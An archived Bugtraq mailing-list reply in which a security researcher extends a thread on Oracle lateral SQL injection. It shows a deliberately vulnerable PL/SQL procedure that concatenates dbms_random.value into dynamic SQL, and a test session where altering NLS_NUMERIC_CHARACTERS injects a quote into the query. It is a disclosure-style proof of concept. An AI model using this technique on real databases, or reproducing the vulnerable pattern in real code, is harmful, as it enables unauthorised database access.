bugtraq - Re: Lateral SQL Injection Revisited

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-Id: <200807181130.m6IBU2u9021829@www5.securityfocus.com>
Date: Fri, 18 Jul 2008 05:30:02 -0600
From: a.polyakov@...c.ru
To: bugtraq@...urityfocus.com
Subject: Re: Lateral SQL Injection Revisited - No Special Privs Required

Great work David! as usual ) 

I just can add a little info 

Not only sysdate function can be used in procedure without input parametres.

For example using  dbms_random.value in procedure without input parameters, we also can  inject sql code.

---------------------------

vunerable procedure:

create or replace procedure sh2kerr_num_proc is 
stmt varchar2(2000); 
n number:=dbms_random.value;
begin 
stmt:='select object_name from all_objects where object_id = ' || n; 
execute immediate stmt; 
end; 
/




--------------
TEST:


SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;
Session altered.

SQL> select dbms_random.value from dual;
     VALUE
----------
'763871688
SQL> exec sh2kerr_num_proc
BEGIN sh2kerr_num_proc; END;

*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
--------------------------


Thats all.Thanks.




Polyakov Alexandr
Information Security Analyst
Chief researcher of DSECRG department
______________________
DIGITAL SECURITY
phone:  +7 812 703 1547
        +7 812 430 9130
e-mail: a.polyakov@...c.ru  
www.dsec.ru


-----------------------------------
This message and any attachment are confidential and may be privileged or otherwise protected 
from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure 
is strictly prohibited. If you have received this message in error, please notify the sender immediately 
either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence 
via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding 
statements by e-mail unless otherwise agreed. 
-----------------------------------